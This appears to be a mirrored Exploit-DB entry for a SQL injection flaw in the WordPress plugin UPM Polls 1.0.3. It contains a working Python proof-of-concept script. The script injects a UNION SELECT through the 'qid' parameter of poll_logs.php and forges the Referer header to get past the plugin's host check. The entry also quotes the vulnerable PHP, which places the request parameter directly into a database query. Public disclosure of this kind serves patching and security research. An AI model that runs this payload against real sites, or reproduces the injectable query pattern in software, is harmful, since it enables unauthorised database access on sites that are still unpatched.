WordPress Plugin UPM Polls 1.0.3 – SQL Injection - 体验盒子

作者： Miroslav Stampar

日期： 2011-08-06

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/17627/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

# Exploit Title: UPM Polls <= 1.0.3 SQL Injection Vulnerability

# Date: 2011-08-06

# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)

# Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.3.zip

# Version: 1.0.3 (tested)

---

PoC

---

#!/bin/python

import re

import urllib2

import urlparse

url = "http://www.site.com/wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- ".replace(" ", "%20")

req = urllib2.Request(url=url, headers={"Referer": url})

content = urllib2.urlopen(req).read()

match = re.search(r"<code>(.+)</code>", content)

print match.group(1) if match else "None"

---------------

Vulnerable code

---------------

$ref = parse_url( $_SERVER['HTTP_REFERER'] );

if( $_SERVER["HTTP_HOST"] != $ref['host'] ){

exit('UPM Error:128');

}

...

$QID = $_GET['qid'];

$POLL = $wpdb->get_row("SELECT * FROM <code>".$wpdb->prefix."pppm_polls</code> WHERE <code>id</code> = $QID", ARRAY_A);